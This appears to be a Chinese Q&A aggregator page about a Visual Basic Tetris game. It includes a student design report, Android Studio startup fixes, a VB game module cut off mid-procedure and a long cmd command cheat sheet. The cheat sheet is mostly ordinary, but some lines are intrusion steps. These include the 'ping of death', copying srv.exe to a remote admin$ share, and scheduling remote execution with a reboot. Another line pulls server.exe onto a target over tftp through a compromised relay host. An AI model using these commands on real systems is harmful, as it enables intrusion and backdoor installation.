導航:首頁 > 編程語言 > cmd俄羅斯方塊代碼解析

cmd俄羅斯方塊代碼解析

發布時間:2023-08-20 06:48:24

1. 怎麼用vb製作俄羅斯方塊游戲啊,簡單點的。

visual basic繼承了basic語言易學易用的特點,特別適合於初學者學習windows系統編程。隨著21世紀信息社會的到來,計算機在人們的工作和生活中的深入,要求我們越來越多地與計算機打交道,為了使用戶在繁忙的日程工作中得到放鬆,於是出現了各種各樣的休閑軟體,如聊天工具,游戲等等。於是我們小組著手設計開始一個這樣的游戲軟體。通過這學期來Visual Basic的學習,我初步掌握了Visual Basic語言的最基本的知識,於是在牛榮和李鵬等老師的指導下動手用Visual Basic編寫俄羅斯方塊游戲。
我們之所以選擇開發俄羅斯方塊游戲,無可爭議,《俄羅斯方塊》是有史以來最偉大的游戲之一。 在曾經發布過的所有游戲中,《俄羅斯方塊》還被認為是僅有的一個能夠真正吸引廣泛人群的作品。誰能說清楚,迄今為止人們究竟花了多少萬個小時在這個游戲上?也許這些時間本來可以被花在更具生產力的活動上。某些批評家也許會聲稱,《俄羅斯方塊》要比過去二十年間出現的任何東西都要浪費人們的時間。至於我們,則要欣然提名它為GameSpot評選出的歷史上最偉大游戲之一。
為了懷念經典,也為了能夠給大多的計算機用戶在工作之餘找到一個休閑、娛樂的一個方式,我們小組開始著手用VB語言開發一個經典的俄羅斯方塊游戲。
工程概況
2.1 項目名稱
俄羅斯方塊游戲
2.2 設計平台
VB 全稱Visual Basic,它是以Basic語言作為其基本語言的一種可視化編程工具。
Vb是microsoft公司於1991年退出的windows應用程序開發工具visual意思是「可視化的」。在它剛推出來時,自身還存在一些缺陷,功能也相對少一些。但是經過多年的開發研究。最近microsoft公司又推出了VB6.0版本
VB6.0運行環境:硬體,要求486以上的處理器、16MB以上內存,50MB 以上的硬碟,cd-rom驅動器,滑鼠。軟體:要求windows 95以上版本。
2.3程序設計思想
游戲是用來給大家娛樂的,所以要能在使用的過程中給大家帶來快樂,消除大家的疲勞,所以我們在游戲中添加了漂亮的場景和動聽的音樂,設置了過關升級的功能,激發大家的娛樂激情。
從游戲的基本玩法出發,主要就是俄羅斯方塊的形狀和旋轉,我們在設計中在一個圖片框中構造了一個4*4的網狀小塊,由這些小塊組合成新的形狀,每四個小塊連接在一起就可以構造出一種造型,因此我們總共設計了7中造型,每種造型又可以通過旋轉而變化出2到4種形狀,利用隨機函數在一個欲覽窗體中提前展示形狀供用戶參考,然後將展示的形狀復制到游戲窗體中進行擺放,在游戲窗體中用戶就可以使用鍵盤的方向鍵來控制方塊的運動,然後利用遞歸語句對每一行進行判斷,如果有某行的方塊是滿的,則消除這行的方塊,並且使上面的方塊自由下落,其中,方塊向下的速度是有時鍾控制項控制的,在游戲中,用戶也可以使用向下鍵加快下落速度,定義一個變數,對消除的函數進行記錄,最後就可以得出用戶的分數,用if 語句對分數判斷,達到一定的積分就可以升級到下一個檔次。
俄羅斯方塊游戲設計的主要步驟為以下10個方面:
(1)游戲界面的設計。
(2)俄羅斯方塊的造型。
(3)俄羅斯方塊的旋轉。
(4)俄羅斯方塊的運動情況(包括向左,向右和向下)。
(5)俄羅斯方塊的自動消行功能。
(6)游戲級別的自由選擇。
(7)游戲速度的自由選擇。
(8)游戲得分的計算。
(9)游戲菜單選項的設計及功能實現。
(10)游戲的背景音樂及特效。
2.4運用的控制項和主要對象
我們在設計過程中主要用到的控制項有:command控制項,image控制項,picture控制項,label控制項,timer控制項,text控制項,windows media player控制項等等。
2.5主要實現的功能
我們開發的俄羅斯方塊游戲,主要實現了以下幾種功能:
1.可以靈活控制方塊在圖形框中運動。
2.游戲過程中方塊可以自由旋轉。
3.當某一行的方塊排列滿時,將自動將這一行方塊消除,然後將上面所有方塊向下移動,可以支持連續消行。
4.游戲前可以選擇游戲的速度和游戲的等級,游戲速度既為方塊下落速度,游戲等級為初始游戲時在基層隨機生成一定行數的無規律方塊,生成的行數由你來選擇,每行至少產生5個以上的無規律方塊,這樣增加了游戲難度,對於游戲高手來說,無疑不是一個新的挑戰。
5.游戲的得分支持積分,並且按照公式:
得分 = 原來分數+ 100 * (2 ^ 同時消除的行數-1)
這樣,你同一時間消除的行數越多,你的得分也就越高,當游戲積分到了一定時可以自動升級,這個升級指速度升級。
6.游戲中提供了一個漂亮的場景和動聽的音樂,給你帶來無限激情。
2.6開發人員
由於這次課程設計所選的題目太復雜,而時間又比較緊張,指導老師建議和同學分工完成。我們小組成員包括組長孫磊周,副組長鄒海星,此游戲由我們兩個人共同開發而成。
正文
3.1游戲設計的具體實現
在我們兩個人共同努力下,此次設計,終於能夠圓滿完成。由於時間的緊促,在設計中,也許會有一些考慮不周之處,但其功能已經能夠滿足大多用戶的需求,相信假以時日,一定能做出一個更經典,更完美的俄羅斯方塊游戲,下面我們將對每一步的具體如何實現展示給大家。
3.1.1游戲界面的設計和背景音樂及特效的實現
俄羅斯方塊游戲主要由兩個界面構成,登陸界面和開始游戲界面,在登陸界面中我們可以首先看到聖誕節的晚上飄梅花的場景,梅花從窗體頂部做函數曲線的下落運動,在窗體中定義一個Image控制項組,在通用中定義梅花X坐標變數動態數組,Y坐標變數動態數組,步距X的變數動態數組,步距Y的變數動態數組,以及振幅變數動態數組。然後在窗體form_load中可以定義梅花的數量,利用隨機函數產生隨機的梅花坐標,步距和振幅,Image控制項在運行時候就調用梅花圖片,Image控制項就可以由時鍾控制項控制下落速度,可以自由調節,梅花按snow(i).Left = xp(i) + am(i) * Sin(dx(i))函數在做縱向的正玄函數軌跡運動,豎直方向上為自由下落運動,,有am(i)來控制梅花的左右移動振幅。因此,我們就可以看到一個梅花在空中自由飄舞的畫面了。
背景畫面是用photoshop軟體處理的漂亮圖案,原本畫面中的動畫效果都是由Image控制項製作的,還有點擊進入游戲的按鈕是由Label控制項實現的,因為Image控制項沒有置前置後功能,不能將下雪的場景體現完整性,所以將這些圖案全部放在背景上,不影響雪花飄落的效果,當點擊畫面的時候一樣可以進入游戲界面。
游戲的背景音樂是由一段代碼調用系統播放器Windows Player播放背景音樂,由於本次設計主要是針對游戲如何設計的,所以在這里就不對播放背景音樂的功能做介紹了。
3.1.2俄羅斯方塊的造型
相信朋友們都玩過俄羅斯方塊,對這個游戲的玩法和方塊形狀都比較熟悉。我們這個游戲只選擇了最基本的7中造型,包括長條型,正方型,正S型,反S型,正7型,反7型,T型。如果需要我們可以添加更多的造型。將游戲界面的游戲區圖片框分割成10*20的小塊,每個小塊放置一個command控制項,預覽區圖片框按同樣比例分割成4*4的小塊,同樣有command控制項構成,我們可以把預覽區圖片框看作是從游戲區圖片框中選取的一個部分,游戲區的小方塊編號和欲覽區編號如下圖:
0 1 2 3 4 5 6 7 8 9
… … … … … … … … … …
… … … … … … … … … …
90 91 92 93 94 95 96 97 98 99
3 4 5 6
13 14 15 16
23 24 25 26
33 34 35 36
游戲區編號 欲覽區編號
利用Select將方塊的7中造型列出,比如長條型的設計,在欲覽區中分別有3.4.5.6和5.15.25.35四個方塊構成兩中形態,用數組為:
m(0) = 3: m(1) = 4: m(2) = 5: m(3) = 6: situation2 = 0
m(0) = 5: m(1) = 15: m(2) = 25: m(3) = 35: situation2 = 1
將它的形狀編號為0和1,在後面方便調用,其他的方塊造型同樣的方法。
3.1.3俄羅斯方塊的旋轉
俄羅斯方塊的旋轉主要將方塊的位置加以變換得到的,例如上述範例,長條型有兩中樣式,根據小方塊的編號變動來實現整個造型的旋轉,比如:
If n(0) - 18 >= 2 And n(3) + 9 <= 198 Then
If cmdfang(n(0) - 18).Visible = False And _
cmdfang(n(1) - 9).Visible = False And _
cmdfang(n(3) + 9).Visible = False Then
hidefang 0
n(0) = n(0) - 18
n(1) = n(1) - 9
n(3) = n(3) + 9
showfang 0
situation = 1
End If
End If
方塊的造型在旋轉的時候存在一個公式,當然首先要判斷是否滿足旋轉的要求,以上是一個長條型由橫著變成豎立狀態的旋轉,我們以它的造型中的第三個小方塊n(3)為中心旋轉,這樣,在開始運動的時候,長條形要發生旋轉最少要運動到第三行,才能由橫著變成豎立狀態,游戲區圖形框中第三行的第一個方塊的編號為20,所以長條造型的第一個小方塊的編號n(0)必須要大於20。同樣,長條型方塊在下落到底部的時候也有限制。如果長條下落到最後一行也將無法由橫著變成豎立狀態。
3.1.4如何實現方塊的運動和自動消除滿行的方塊
我們的這個俄羅斯方塊游戲主要是利用command控制項的visible屬性完成效果的,其實在游戲區圖形框可以看成是由許多的command小方塊組成,方塊運動的過程就是造型里方塊顯示或者隱藏,就像現在的霓虹燈效果一樣,由時鍾控制項控制visible屬性改變的速度,上一層的消失,下一層的顯示,這樣,從視覺效果可以看到方塊的下落運動效果。
方塊在下落的過程中會自動判斷每一行方塊的visible屬性,如果全部為true時,就會將這一行小方塊的visible屬性全部變成false,在將上面的小方塊向下移動,利用for語句進行循環判斷,將所有這樣情況的行改變小方塊visible屬性。當有多行同時出現這樣情況時使用遞歸調用,實現連續消行。具體程序代碼如下:
For i = 190 To 10 Step -10
If cmdfang(i).Visible = True And _
cmdfang(i + 1).Visible = True And _
cmdfang(i + 2).Visible = True And _
cmdfang(i + 3).Visible = True And _
cmdfang(i + 4).Visible = True And _
cmdfang(i + 5).Visible = True And _
cmdfang(i + 6).Visible = True And _
cmdfang(i + 7).Visible = True And _
cmdfang(i + 8).Visible = True And _
cmdfang(i + 9).Visible = True Then
For j = i + 4 To i Step -1
t = 1
cmdfang(j).Visible = False
cmdfang(2 * i + 9 - j).Visible = False
For k = 1 To 4000
DoEvents
Next
t = 0
Next
linenum = linenum + 1
For j = i - 1 To 0 Step -1
If cmdfang(j).Visible = True Then
cmdfang(j).Visible = False
cmdfang(j + 10).Visible = True
End If
Next
clearline '為了實現連消數行,這里使用遞歸調用
End If
Next
3.1.5游戲速度和游戲級別自由選擇
游戲速度的自由選擇無非就是改變時鍾控制項的頻率,我們在菜單中添加了選擇速度的功能,還有添加了考驗功能,將欲覽窗中的方塊造型隱藏,給玩家提高了難度,如果你不願意接受考驗也可以點擊顯示還原成原來狀態。
游戲級別的自由選擇是讓用戶選擇游戲開始時候,游戲區底部出現一定行數的隨機方塊,同樣給玩家增加了難度,功能代碼如下:
For i = 19 To 20 - Val(txthard.Text) Step -1
For j = i * 10 To i * 10 + 9
If Rnd >= 0.5 Then cmdfang(j).Visible = True
Next
Next
可以根據你選擇的難度系數在底層的每一行隨機產生超過半數(即5個以上)以上的小方塊,這樣適合喜歡高難度的玩家。
3.1.6游戲得分的計算和游戲菜單的編輯
游戲得分的計算主要是根據消除的行數來決定的,當然每一次同時消除的行數不一樣,每一行的得分也不一樣,如果你每次消除的行數為1,則最後得分是100分,如果同時消除2行,則最後得分是300分,同時消除3行,得分為700分,同時消除4行,得分為1500分,這由公式:得分 = 原來分數+ 100 * (2 ^ 同時消除的行數-1)。
游戲的編輯,讀者可以參照下面的功能介紹。
3.2 游戲功能的介紹
文件-------開始:開始游戲。
繼續:繼續游戲。
暫停:暫時停止游戲,點擊繼續的時候可以繼續游戲。
退出:退出遊戲。
設置-------選擇游戲級別。
選擇游戲速度。
考驗-------顯示:顯示欲覽去方塊。
隱藏:隱藏欲覽去方塊。
幫助-------操作提示以及版本信息和作者資料。

用戶界面具體如圖:

圖—登陸界面 圖—游戲界面

圖—菜單編輯界面 圖—游戲幫助界面
有關說明
經過兩個多星期的設計和開發,俄羅斯方塊游戲已經成功。其功能基本符合用戶需求,能夠完成游戲的控制,方塊的變換以及消層等功能。並提供游戲設置,對於一些技術性比較過硬的玩家,可以調游戲級別、以及游戲速度,使得玩家能夠充分的發揮競技游戲的特色,可以不斷的挑戰自我,挑戰極限。
4.1游戲設計中的不足之處
但是由於課程設計時間較短,所以該游戲還有許多不盡如人意的地方,比如方塊類型太少,退出遊戲不能存儲進度等多方面問題。這些都有待進一步改善,我們在游戲中還可以更換背景音樂,以適合不同的玩家,在每通過一關可以給玩家播放一段flash,吸引玩家去挑戰極限,不斷提高玩家的興趣,相信在以後的製作過程中我們將給大家帶來一個更新功能更全面的游戲。
4.2VB與C語言之間的不同之處
我們這個小游戲也可以用C語言來實現,在程序的編程上沒有VB語言方便實用,C語言和VB語言之間存在很多的共同點,雖然語法方面有點差異,但是在編程思路上完全一樣,VB能夠實現很多C#不能做到的功能,如When語句、Optional參數、局部Static變數、對象實例訪問靜態方法、Handles綁定事件、On Error處理異常、Object直接後期綁定等等。VB和C#語言,編譯出來的是同樣的CIL,但為什麼VB支持很多有趣的特性呢。我們一起來探究一下。
4.21局部靜態變數
VB支持用Static關鍵字聲明局部變數,這樣在過程結束的時候可以保持變數的數值:
Public Sub Test1()
Static i As Integer
i += 1 '實現一個過程調用計數器
End Sub
我們實現了一個簡單的過程計數器。每調用一次Test,計數器的數值就增加1。其實還有很多情況我們希望保持變數的數值。而C#的static是不能用在過程內部的。因此要實現過程計數器,我們必須聲明一個類級別的變數。這樣做明顯不如VB好。因為無法防止其他過程修改計數器變數。這就和對象封裝一個道理,本來應該是一個方法的局部變數,現在我要被迫把它獨立出來,顯然是不好的設計。那麼VB是怎麼生成局部靜態變數的呢?將上述代碼返匯編,我們可以清楚地看到在VB生成的CIL中,i不是作為局部變數,而是作為類的Field出現的: .field private specialname int32 $STATIC$Test1$2001$i
也就是說,i被改名作為一個類的欄位,但被冠以specialname。在代碼中試圖訪問$STATIC$Test1$2001$i是不可能的,因為它不是一個有效的標識符。但是在IL中,將這個變數加一的代碼卻與一般的類欄位完全一樣,是通過ldfld載入的。我覺得這個方法十分聰明,把靜態變數變成生命周期一樣的類欄位,但是又由編譯器來控制訪問的許可權,讓它成為一個局部變數。同時也解釋了VB為什麼要用兩個不同的關鍵字來聲明靜態變數——Static和Shared。由於局部靜態變數的實質是類的欄位,所以它和真正的局部變數還是有所不同的。比如在多線程條件下,對局部靜態變數的訪問就和訪問欄位相同。
4.2.2Handles和WithEvents
VB除了可以用C#那樣的方法來處理事件響應以外,還有從VB5繼承下來的獨特的事件處理方式——WithEvents。
我喜歡稱這種事件處理方式為靜態的事件處理,書寫響應事件的方法時就已經決定該方法響應的是哪一個事件,而C#則是在代碼中綁定事件的。VB中WithEvents靜態方法是非常有用的,它可以顯著增強代碼可讀性,同時也讓VB.net中的事件處理非常方便,不像C#那樣離開了窗體設計器就必須手工綁定事件。
4.2.3類型轉換運算符
在Visual Basic 2005中將加入一個新的運算符——TryCast,相當於C#的as運算符。我一直希望VB有這樣一個運算符。VB目前的類型轉換運算符主要有CType和DirectCast。他們的用法幾乎一樣。我詳細比較了一下這兩個運算符,得出以下結論:
1.在轉換成引用類型時,兩者沒有什麼區別,都是直接調用castclass指令,除非重載了類型轉換運算符CType。DirectCast運算符是不能重載的。
2.轉換成值類型時,CType會調用VB指定的類型轉換函數(如果有的話),比如將String轉換為Int32時,就會自動調用。
4.2.4默認屬性和屬性參數
在原先的VB6里,有一項奇特的功能——默認屬性。在VB6中,對象的名稱可以直接表示該對象的默認屬性。
4.2.5可選參數和按名傳遞
VB從4.0開始支持「可選參數」這一特性。就是說,函數或子程序的參數有些是可選的,調用的時候可以不輸入。其實VB從1.0開始就有一些函數帶有可選參數,只不過到了4.0才讓用戶自己開發這樣的過程。在VB4里,可選參數可以不帶默認值,而在VB里,如果使用可選參數,則必須帶有默認值。在調用的時候,VB若發現參數被省略,則自動讀取.param部分的默認值,並顯式傳遞給過程。這一部分完全由編譯器處理,而且沒有任何性能損失,和手工傳遞所有參數是完全一樣的。至於按名傳遞,VB會自動調整參數的順序,其結果與傳統方式的傳遞也沒有任何的不同。這說明我們可以放心地使用這項便利。而且帶有可選參數的過程拿到C#中,頂多變成不可選參數,也不會造成什麼其他的麻煩。
PS.很多COM組件都使用了默認參數,而且有些過程的參數列表非常長,在VB里可以輕松地處理它們,而在C#中經常讓開發者傳參數傳到吐血。
4.2.6在經過對比之後可得以下一個結論:
1.目前的主流編程語言沒有簡單的,如果你想學精通的話。
2.VB的門檻比較低,編程思想較容易接受。
3.學習C不能短期內見到成效。
4.據用戶調查69%的考生覺得VB更容易接受

致謝
在本次課程設計中,我從指導老師牛榮和李鵬身上學到了很多東西。老師認真負責的工作態度,嚴謹的治學精神和深厚的理論水平都使我收益匪淺。他無論在理論上還是在實踐中,都給與我很大的幫助,使我得到不少的提高這對於我以後的工作和學習都有一種巨大的幫助,感謝他耐心的輔導。
另外,在游戲開發過程中化希耀老師和杜義君老師也給於我們很大的幫助,幫助解決了不少的難點,使得游戲能及時開發完成,還有所有的同學同樣給與我不少幫助,這里一並表示感。

參考文獻:
[1]Vsual Basic 程序設計教程 作者:龔沛曾,陸慰民,楊志強 高等教育出版社出版
[2]Vsual Basic 6.0程序設計 作者:劉新民,蔡瓊,白糠生 清華大學出版社出版
[3]80例上手 VB6 編程 作者:唐凱軍,湯惠莉 山東電子音像出版社
[4]Vsual Basic 實例教程 作者:盧毅 科學出版社出版
[5]Vsual Basic 經典範例50講 作者:趙欣勝,亢慧娟,劉晟宏 科學出版社出版

2. Android studio使用方法

先來到Android Studio的bin目錄下,修改studio.bat 第72行GOTO end 在它前面加上PAUSE 用於查看錯誤消息,進入cmd 然後指向Android Studio目錄下 運行studio.bat 可以查看錯誤消息,去修改android-studio\bin目錄下的studio.exe.vmoptions 去除第5行的 -XX:+UseCodeCacheFlushing,啟動成功
用記事本打開android-studio\bin 目錄下的studio.bat
將 SET VM_OPTIONS_FILE=%IDE_BIN_DIR%\studio%BITS%.exe.vmoptions
改為 SETVM_OPTIONS_FILE=%IDE_BIN_DIR%\studio%BITS%.exe啟動成功[8]
用文本工具打開
studio.bat
line25 to line 28:
SET JRE=%JDK%
IF EXIST "%JRE%\jre" SET JRE=%JDK%\jre
SET BITS=IF EXIST "%JRE%\lib\amd64" SET BITS=64
可以看到裡面設置軟體支持系統位數是64位,如果自己所用電腦是32位的 jre/lib目錄下只有i386文件,嘗試把
IF EXIST "%JRE%\lib\amd64" SET BITS=64 改為
IF EXIST "%JRE%\lib\i386" SET BITS=32[8]
檢查jdk路徑是否配置,1.6和1.7都沒有問題,jdk環境變數配置確保正確

3. cmd代碼大全

ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
用參數/e才可連目錄下的子目錄一起復制到目標地址下。
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將「IP」的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IPput c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md目錄名 創建目錄
replace 源文件要替換文件的目錄 替換文件
ren 原文件名新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

4. VB 俄羅斯方塊設計程序代碼 VB程序做的 俄羅斯方塊 要有窗體,控鍵,代碼整套的那種!

Moudle1:

Public NowY() As Integer
Public NowX() As Integer
Public NowShape As Integer
Public block() As Boolean

Private Sub Cmd1_Click() '開始/重新開始

ReDim block(Int(Text1.Text) + 1, Int(Text2.Text) + 1) '定義2維數組

For i = 1 To Int(Text1.Text) '以下9行是初始化數組,令可操作(Pic1以內)的部分為False,Pic1以外的邊緣部分為True
For j = 1 To Int(Text2.Text)
block(i, j) = False
block(0, j) = True
block(i, 0) = True
block(Int(Text1.Text) + 1, j) = True
block(i, Int(Text2.Text) + 1) = True
Next j
Next i
Text1.Enabled = False
Text2.Enabled = False
Cmd2.Enabled = True

Call MakeBlock '產生方塊
Timer1.Enabled = True '開始
Cmd1.Caption = "重新開始"
Text3.Text = 0
Pic1.SetFocus '令Pic1接收鍵盤

End Sub

Private Sub Cmd2_Click() '暫停/繼續

If Cmd2.Caption = "暫停" Then
Timer1.Enabled = False
Cmd2.Caption = "繼續"
Else
Timer1.Enabled = True
Cmd2.Caption = "暫停"
End If

Pic1.SetFocus '令Pic1接收鍵盤

End Sub

Private Sub Cmd3_Click()
End
End Sub

Private Sub Form_Load()
Randomize '隨機種子

ReDim NowX(3)
ReDim NowY(3) '定義數組來記錄當前的4個方塊的坐標
Image1(0).Width = 300
Image1(0).Height = 300
Image2(0).Width = 300
Image2(0).Height = 300
Image2(0).Picture = Image1(0).Picture '對相關Image的描述

For i = 1 To 3
Load Image2(i)
Image2(i).Visible = True
Next i '裝載所需的Image2,並設置為可見
Image2(0).Visible = True

End Sub

Sub MakeBlock() '隨機產生方塊圖形
Static NextShape As Integer '定義靜態變數NextShape,用來存儲下一個圖形的樣式。

NowX(0) = Int(Text1.Text) \ 2
NowY(0) = 1 '先定義第一個方塊的坐標

NowShape = IIf(NextShape = 0, Fix(7 * Rnd) + 1, NextShape) '當前形狀根據「下一個」而定

NextShape = Fix(7 * Rnd) + 1 '得到下一個即將出現的類型

Select Case NowShape '以下Case是按照事先規定的編號給相應的點賦予坐標值

Case 1 '方形
NowX(1) = NowX(0) + 1
NowY(1) = 1

NowX(2) = NowX(0)
NowY(2) = 2

NowX(3) = NowX(0) + 1
NowY(3) = 2

Case 2 'L形
NowX(1) = NowX(0) + 1
NowY(1) = 1

NowX(2) = NowX(0) + 1
NowY(2) = 2

NowX(3) = NowX(0) + 1
NowY(3) = 3

Case 3 '反L形
NowX(1) = NowX(0) + 1
NowY(1) = 1

NowX(2) = NowX(0)
NowY(2) = 2

NowX(3) = NowX(0)
NowY(3) = 3

Case 4 '長條形
For i = 1 To 3
NowX(i) = NowX(0)
NowY(i) = i + 1
Next i

Case 5 'Z形
NowX(1) = NowX(0) - 1
NowY(1) = 2

NowX(2) = NowX(0)
NowY(2) = 2

NowX(3) = NowX(0) - 1
NowY(3) = 3

Case 6 '反Z形
NowX(1) = NowX(0)
NowY(1) = 2

NowX(2) = NowX(0) + 1
NowY(2) = 2

NowX(3) = NowX(0) + 1
NowY(3) = 3

Case 7 'T形
NowX(1) = NowX(0) - 1
NowY(1) = 2

NowX(2) = NowX(0)
NowY(2) = 2

NowX(3) = NowX(0) + 1
NowY(3) = 2

End Select
For i = 0 To 3
If block(NowX(i), NowY(i)) = True Then '如果在即將產生的點中出現了已存在點(堆滿)
Timer1.Enabled = False
Cmd2.Enabled = False
MsgBox "游戲結束", vbOKOnly, "gameover" '則游戲結束
Exit Sub
Else
block(NowX(i), NowY(i)) = True '如果沒有堆滿,則產生相應的點
End If
Next i

Image2(0).Left = 600
Image2(0).Top = 400

Select Case NextShape '以下Case是繪制「下一個」中的圖形
Case 1
Image2(1).Left = 900
Image2(1).Top = 400
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 700
Case 2
Image2(1).Left = 900
Image2(1).Top = 400
Image2(2).Left = 900
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 1000
Case 3
Image2(1).Left = 900
Image2(1).Top = 400
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 600
Image2(3).Top = 1000
Case 4
Image2(1).Left = 600
Image2(1).Top = 700
Image2(2).Left = 600
Image2(2).Top = 1000
Image2(3).Left = 600
Image2(3).Top = 1300
Case 5
Image2(1).Left = 300
Image2(1).Top = 700
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 300
Image2(3).Top = 1000
Case 6
Image2(1).Left = 600
Image2(1).Top = 700
Image2(2).Left = 900
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 1000
Case 7
Image2(1).Left = 300
Image2(1).Top = 700
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 700
End Select

Call DrawBlock '重畫所有方塊

End Sub

Private Sub Pic1_KeyDown(KeyCode As Integer, Shift As Integer) '根據按鍵執行相應動作

Select Case KeyCode
Case 37 '左
Call MoveBlock(-1, 0)

Case 40 '下
Call MoveBlock(0, 1)

Case 39 '右
